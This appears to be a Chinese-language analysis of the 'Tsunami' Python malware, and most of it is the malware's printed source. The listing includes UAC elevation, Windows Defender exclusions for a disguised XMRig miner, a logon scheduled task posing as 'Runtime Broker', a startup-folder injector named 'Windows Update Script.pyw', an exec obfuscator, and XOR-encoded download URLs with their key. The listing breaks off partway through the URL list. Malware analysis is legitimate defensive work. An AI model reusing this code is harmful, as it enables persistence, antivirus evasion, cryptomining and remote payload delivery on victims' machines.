    # Get the filepath of the pythonw.exe

    py_exe = sys.executable
    py_exe = py_exe.replace("python.exe", "pythonw.exe")

    # Execute the payload with UAC

    result = ctypes.windll.shell32.ShellExecuteW(
        None,
        "runas",
        py_exe,
        f'"{TSUNAMI_PAYLOAD_PATH}"',
        None,
        1
    )

    # Return true if it worked, false if it failed

    if result <= 32:
        return False
    else:
        return True
        #hel p me
C:\Users<Username>\AppData\Local\Temp\<16位隨機亂碼>

這個檔案被稱為是 TSUNAMI_PAYLOAD

會執行以下操作

  • 將三個路徑加入 Windows Defender 的排除名單，並且根據原程式的註解，可以得知到他們代表什麼惡意程式

    • Tsunami Installer:%APPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe

    • Tsunami Client:%APPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe

    • XMRig miner: %LOCALAPPDATA%\Microsoft\Windows\Applications\msedge.exe

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      EXCEPTION_PATHS = [
              # Tsunami Installer
              rf"{ROAMING_APPDATA_PATH}\Microsoft\Windows\Applications\Runtime Broker.exe",
              # Tsunami Client
              rf"{LOCAL_APPDATA_PATH}\Microsoft\Windows\Applications\Runtime Broker.exe",
              # XMRig miner
              rf"{LOCAL_APPDATA_PATH}\Microsoft\Windows\Applications\msedge.exe"
          ]

          for filepath in EXCEPTION_PATHS:
              add_windows_defender_exception(filepath)

      def add_windows_defender_exception(filepath: str) -> None:
          try:
              subprocess.run(
                  ["powershell.exe", f"Add-MpPreference -ExclusionPath '{filepath}'"],
                  shell = True,
                  creationflags = subprocess.CREATE_NO_WINDOW,
                  stdout = subprocess.PIPE,
                  stderr = subprocess.PIPE,
                  stdin = subprocess.PIPE
              )

              output(f"Added a new file to the Windows Defender exception")
          except Exception as e:
              output(f"[-] Failed to add Windows Defender exception: {e}")

  • 建立 Scheduleled Task ，名稱為 ： Runtim broker

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    powershell_script = f\"\"\"
            $Action = New-ScheduledTaskAction -Execute "{TSUNAMI_INSTALLER_PATH}"
            $Trigger = New-ScheduledTaskTrigger -AtLogOn
            $Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive
            $Principal.RunLevel = 1
            $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DontStopOnIdleEnd
            Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -TaskName "Runtime Broker"
                             \"\"\"

        try:
            subprocess.run(
                ["powershell.exe","-Command", powershell_script],
                check = True,
                creationflags = subprocess.CREATE_NO_WINDOW
            )

            output("[+] Successfully created the task")
        except Exception as e:
            output(f"[-] Failed to create the task: {e}")

~/.n2/pow 完整程式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
try:
    ##### Imports #####

    import subprocess
    import traceback
    import warnings
    import platform
    import tempfile
    import winreg
    import ctypes
    import random
    import base64
    import zlib
    import time
    import sys
    import os

    ##### Supress Warnings #####

    try:
        warnings.filterwarnings("ignore")
    except:
        pass

    ##### Globals #####

    DEBUG_MODE = False

    PYTHON_INSTALLER_URL = "https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe"

    APPDATA_ROAMING_DIRECTORY = os.getenv("APPDATA")

    TSUNAMI_INJECTOR_NAME = "Windows Update Script.pyw"
    TSUNAMI_INJECTOR_FOLDER = f"{APPDATA_ROAMING_DIRECTORY}/Microsoft/Windows/Start Menu/Programs/Startup"
    TSUNAMI_INJECTOR_PATH = rf"{TSUNAMI_INJECTOR_FOLDER}/{TSUNAMI_INJECTOR_NAME}"

    TSUNAMI_INJECTOR_SCRIPT = """
RandVar = '?'

##### Imports #####

from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding
import urllib.request
import urllib.parse
import subprocess
import tempfile
import binascii
import ctypes
import random
import string
import base64
import zlib
import time
import gzip
import json
import ssl
import sys
import os
import re

##### Globals #####

DEBUG_MODE = False

ROAMING_APPDATA_PATH = os.getenv("APPDATA")
LOCAL_APPDATA_PATH = os.getenv("LOCALAPPDATA")

TSUNAMI_PAYLOAD_NAME = "".join([random.choice(string.ascii_letters) for i in range(16)])
TSUNAMI_PAYLOAD_FOLDER = tempfile.gettempdir()
TSUNAMI_PAYLOAD_PATH = rf"{TSUNAMI_PAYLOAD_FOLDER}\{TSUNAMI_PAYLOAD_NAME}"

TSUNAMI_INSTALLER_NAME = "Runtime Broker"
TSUNAMI_INSTALLER_FOLDER = rf"{ROAMING_APPDATA_PATH}\Microsoft\Windows\Applications"
TSUNAMI_INSTALLER_PATH = rf"{TSUNAMI_INSTALLER_FOLDER}\Runtime Broker.exe"

TSUNAMI_PAYLOAD_SCRIPT = '''
RandVar = '?'

##### Imports #####

import subprocess
import datetime
import ctypes
import os

##### Globals #####

DEBUG_MODE = False

ROAMING_APPDATA_PATH = os.getenv("APPDATA")
LOCAL_APPDATA_PATH = os.getenv("LOCALAPPDATA")

TSUNAMI_INSTALLER_NAME = "Runtime Broker"
TSUNAMI_INSTALLER_FOLDER = rf"{ROAMING_APPDATA_PATH}\Microsoft\Windows\Applications"
TSUNAMI_INSTALLER_PATH = rf"{TSUNAMI_INSTALLER_FOLDER}\Runtime Broker.exe"

##### Utils #####

def output(text: str) -> None:
    if DEBUG_MODE:
        print(text)

def is_admin() -> bool:
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

##### Tsunami Payload #####

def add_windows_defender_exception(filepath: str) -> None:
    try:
        subprocess.run(
            ["powershell.exe", f"Add-MpPreference -ExclusionPath '{filepath}'"],
            shell = True,
            creationflags = subprocess.CREATE_NO_WINDOW,
            stdout = subprocess.PIPE,
            stderr = subprocess.PIPE,
            stdin = subprocess.PIPE
        )

        output(f"Added a new file to the Windows Defender exception")
    except Exception as e:
        output(f"[-] Failed to add Windows Defender exception: {e}")

def create_task() -> None:
    powershell_script = f\"\"\"
        $Action = New-ScheduledTaskAction -Execute "{TSUNAMI_INSTALLER_PATH}"
        $Trigger = New-ScheduledTaskTrigger -AtLogOn
        $Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive
        $Principal.RunLevel = 1
        $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DontStopOnIdleEnd
        Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -TaskName "Runtime Broker"
                         \"\"\"

    try:
        subprocess.run(
            ["powershell.exe","-Command", powershell_script],
            check = True,
            creationflags = subprocess.CREATE_NO_WINDOW
        )

        output("[+] Successfully created the task")
    except Exception as e:
        output(f"[-] Failed to create the task: {e}")

##### Application Entry #####

if __name__ == "__main__":
    # Check if we are an admin

    if not is_admin():
        output("[WARNING] Not running as an administrator")

    # Add the Windows Defender exceptions

    EXCEPTION_PATHS = [
        # Tsunami Installer
        rf"{ROAMING_APPDATA_PATH}\Microsoft\Windows\Applications\Runtime Broker.exe",
        # Tsunami Client
        rf"{LOCAL_APPDATA_PATH}\Microsoft\Windows\Applications\Runtime Broker.exe",
        # XMRig miner
        rf"{LOCAL_APPDATA_PATH}\Microsoft\Windows\Applications\msedge.exe"
    ]

    for filepath in EXCEPTION_PATHS:
        add_windows_defender_exception(filepath)

    # Create the task

    create_task()

    # Keep the window open in debug mode for analysis

    if DEBUG_MODE:
        input()
                         '''

##### Obfuscator #####

zlb = lambda in_ : zlib.compress(in_)
b64 = lambda in_ : base64.b64encode(in_)

def obfuscate_script(data: str, loop_count: int) -> str:
    # Change the value of the random variable to ensure different obfuscation strings each time

    data = data.replace("RandVar = '?'", f"RandVar = '{random.randint(100000, 10000000)}'")

    # Setup obfuscation

    xx = "b64(zlb(data.encode('utf8')))[::-1]"
    prefix = "_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));"

    # Perform obfuscation

    for i in range(loop_count):
        try:
            data = "exec((_)(%s))" % repr(eval(xx))
        except TypeError as s:
            sys.exit(" TypeError : " + str(s))

    # Build the complete output

    output = ""

    output += "\\n"
    output += prefix
    output += data
    output += "\\n"

    # Return the output

    return output

##### Utils #####

def output(text: str) -> None:
    if DEBUG_MODE:
        print(text)

def is_task_scheduled(task_name: str) -> bool:
    powershell_command = f"Get-ScheduledTask -TaskName '{task_name}'"

    result = subprocess.run(
        ["powershell.exe", "-Command", powershell_command],
        creationflags = subprocess.CREATE_NO_WINDOW,
        capture_output = True,
        text = True
    )

    if result.returncode == 0 and result.stdout.strip():
        return True
    else:
        return False

##### URL Downloader #####

def xor_encrypt(text: bytes):
    XOR_KEY = b"!!!HappyPenguin1950!!!"

    encrypted_text = bytearray()
    for i in range(len(text)):
        encrypted_text.append(text[i] ^ XOR_KEY[i % len(XOR_KEY)])
    return bytes(encrypted_text)

def xor_decrypt(text: bytes):
    return xor_encrypt(text)

def decode(encoded: str) -> str:
    encoded_bytes = binascii.unhexlify(encoded)
    encoded_bytes = xor_decrypt(encoded_bytes)
    encoded = base64.b64decode(encoded_bytes).decode()

    return encoded[::-1]

def download_installer_url() -> str:
    URLS = [
        "6f5b427a2c1e221532542c0b112e024b5b5e09476f4b78596c7a540012211a0d3c543b050c76007c7c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e75607c2e27261532083834165a3c41606354476c7574586c1f541c2a3c0617375533103f4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f75467b2f1d3e0334205b54175b5b7d614f61126c4b6b4d430f271f264a1a1c3432061f0a62004152136c54434c4d213b282203093d2f1139131e4b5a7d621140601c1c",
        "6e75647c2c27260c330b022410071e596a5908146f5b7458450f544123311a09370a44583a5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f65787a2c1e3e030a3d24362f2e384458606a476c7564106c262f0713493c110c54272b22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6c5b787c2f2822153222160f2407204b606001476f4b60126c7b0d1c114b1e133d20441f0c0056435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c4b70782f433e15322202322f3e20596c7308566f757414781f54002a4b1632370a3306346770435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f5b78322c422a143257382f1604385a6062096c795b705b6c220d00292e1a543c204c1c37640d435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6e65603f2c1d26103430201d175b0272614f57136e754d5b7b0f541c254b241037301d3c22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6c5b70782c42260a34332410113e5765614f5b116f65674f401f3b0512491e130d0a11053a5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c5b687c2c281c0034321e12263e3c5d5d7d6251734d19106c3202411314065337300d2a0c765d40627218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6f5b703f2f3822030a325b172707245d5b72484d721019586c3220422a21061d0d554c270a766f59624818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6f654a782e37080a313d3c3310045b595a5e6a476c7542156c25371912481a0b0c0a19590c010d435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c4b78312f433e0b09572834165b384260637e476f5b705b6e100d1b2a3e06300a2040050c666f717c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e75647d2e37180331325b172704385b63626658731019116c222c09292e650d37093f3f34666b455313146b6d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758",
        "6e75747a2c27260332542c0c143e5703686308586c5b6413400f2f40112134310c0a3305370101435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f75747b2f4241480a3d2056213e28056362484d701019146f1c38411314060e0c0a233c0d0273596a664d726d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758",
        "6f4b787a2f37360c31320a0f2021205d58075c6c795b6c116f32370a131406503a3f271334675a435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f4b46312f1e3e15320b3857263e3c59636d7a4e776719116e1c200a2a3e69123d3f3f050c660804655818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6c4b427a2c1e1c0032573808232e38445c627670795b78106f1c270a121416573c3f3b1f347600607c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f4b6c7c2f4226133132340a215a24475d727e4d726719566c320a422a4b69163730192c0c76555d647218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6c4b6c782c1d1803093d24232f5b5b415d587668795b78126c1c2f40134b060f0c0c19130b667f06526464574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6c7568322e37264931301a10175b575b6c0408596f5b6014427a271c1312161f0d203f2522026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6c7542792c433e490932063f142e2059636d7a62795b74566e0c27032a210a0d0d0b271334026f7b7c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c6546312f420811312d3c0b21212042606d6a51744d19156e1c3040134a02150d55193e346973045466676e6d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758",
        "6f65603f2e372612313320572c3e385e6f0408146c5b4a59407a2f182114690b0c0a332722026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6f5b707b2c1e3e0e31320623165b0a00685908596f4b6c14407a5806214b060f0c204c2c22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6f4b427c2c273613313d240a243e285f63620171795b6c5b6f323745124b1a560c573b050a767f5c6a7470574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6f5b687d2e273a0034322456205b384858627652701019136c0c0209143e650d3f5419590d026f667c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c7542792e38320f312d201724043c5d5d7d7a57741019596e1c38081314690a0a2f232b34660845646218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6f5b60792f2718490a080220103e1a5b5b047a476e6560156c7b2f40112e161c382f3b1334697305655818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6c7546322c42360c31305b5717042869614f69126f7577587b1f374125211e090f2f3b583b7200047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c4b60782f38140f33080632145a24596c73085b6f4b6c134325371c26311e1c3430271c3f6200047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c4b60302c1e3a0f323d382e2f2124595c585c79795b64106c22331c134b65093c2f3f050a5c00717c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f75647b2c27450f313d3c1121313c4b636005476f7570156f26051c131402103f3033590c5c7f617c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c5b4a3f2e383e1534222814202e384258620175795b46126c1c371b2a211a0d0f213b020c767f40521170574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6f5b687b2c1d3e09322d240f275a245d635b7a10741019586c0c3841121469150d54232e0b66415952764d746d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758",
        "6c65683f2f383e15323228142707245d63725c79795b42136f22050a2a311a13385427593769556d7c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e65427a2f27260c0a32381e275b20415d7d7e10744d19146f3234402a2e3410373f3f2134665d5d524c676f6d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758",
        "6c7574322c27260a0a575b25173e28006b04085b6e756011787a0d05124a1a2f34301110386200047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c4b787d2e283e0b09570257205a06595b726672795b6c146e1c2745123e28543c0a111c346651717c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c5b427b2c1d080909305f1d2f31384463636a476e7574586e102b1c14311e133c093b1b37035546615818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6f4b6c7c2f1e1c493208385423210242586048476f656c566e0f151a14211a553b550d1a34695d43646218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6c65643f2e274515342d3c56210702015a720167795b74146c222b1c2a4b02543d0a23590a6677777c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f4b6c7b2e383e150a225729112e5b5d680408126f4b685b427b2b1c152106260a5533133403557e7c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f5b4a302e372649093216362f3124475b58546b795b42136f0c33181214061c3f3f270334697b4f617218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6f6570312f3832003255201517213878614f71566c4b4554437a0d05244b06100a31241f0a62004152136c54434c4d213b282203093d2f1139131e4b5a7d621140601c1c",
        "6f4b467a2f37490a322257102431205c63625c4e7010195b6f0c0244292e650d3c2f19100c03417d7c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e756c302e382209322d2c33103e165a60624869795b4a156f0c271c122e28153c0a40010f69735e617218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6c754a782c27221132320625172e28015b586664795b6c156c322f02294b3c290d54271c0f6973647c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f756c3f2e27080a0a330a52175b24025b057e476e7570106e0f370a142e0a093b0919100f697b01627218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6e654a792e37410f3420281d11312073614f69586c75675443260d3d134a06120c30332d22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6e7574302f381c00313228221621384260625c64795b68586f0c2f03123e3c2937554019395800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f4b70312c27260d0930340b173102075b5e66476f4b60106c2554092a2c1a0e343f3f1937645e435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c5b42302c433e12320802202f313c00606058476e7570136f102f40142c695537304c1a3c5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f5b707c2f283a1534225b212f2e3843586048476c65605b6c25191814211623342023053a5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c75747c2f1e1c0a0a321a1721213c48606d7263795b4a5b6f1c0d45143e3c1037312f130f037f59646218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6c6574782c1e3e483422572a165a24475b580964795b785b6f323b1c134b69360d0927593f6200047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c7578782f383a1534223829165b384b5a0576476c656c126c7b3300122c691f375519100b644e435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f5b783f2e283e4c31232c57165b2860614f79136f65675b7b103318224a3413342033063b4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c5b747c2c1e3a0f323d3832160438035b0548476f656c146f7b2f1b12143c2b342040050c647c435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c65603f2f1e3a4933570a1d213102485d624054727719596c323440152e61090d0a23220d027745526468574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6c65787b2e283e15330b0232142120415a5e5c476f6560126c7a54091249380d0c2023070c5a7c435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f5b68302c2722003257200b2007205d5d6d7e5b727719596f1c2c412a2e06093d3f2710346641777c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c4b607a2c4222110a3206252f3e2044606d7a74795b60126e1c2f1c121469260c551110376460435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f6578302e2726123132200b2721204460637e476c6568146c253704124b65093c5523030f66005a615818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6f75603f2f27410f32553c572f3e1658606362476c756c146f1f3305112c1a093455331d376468435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f6564302c27140c3132380b205a024863620551771019146c0c34432a2102543f543b1b37030046614818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6c5b6c312c433e483522382a2f31244763586662795b70156f1c33052a210a35370a33103c4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c756c7c2f1e3e0a0a323c1121313c595b057e476e6560126c7a5406112c28500c200d2b22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6e7560782f27180309300657172e5766614f69146f656f52430f0d3c134b061c37301d3d22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6c65747c2e283e0f342d38252c3e5f5f58637e476f5b74596c7b2f051248021f0f3040053c7200047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c65607b2e272600343d20122731205b586d6256751019126c2206442a211a0d0a57335c37664159626218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6f75647d2c283e123308282310313c59636d7a74795b68146e1c3b072a2e0629343f3b190a6973717c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e75467d2f27360009085723175b5b415a077665795b64126f0c371c294b3c08340c4c050d5c7f707c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e6560302f1e3e170930240d14313c01686308156f4b6459427b2300131502550c554c2a22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6c4b46792f42364909323c30170438015a075c6c795b70156c0c2f1c294b65350a2f3b05340355707c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f5b74782f1d040031301a082c3e386b614f79156c654557787a0d23134b61540d0a4c2e22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6f5b4a7c2c1e3a1534225730103e16486062666e795b74586c1c330a122e692b37300113376641777c127457437618222d1d450909083857165b2846754c081742126311450f064d",
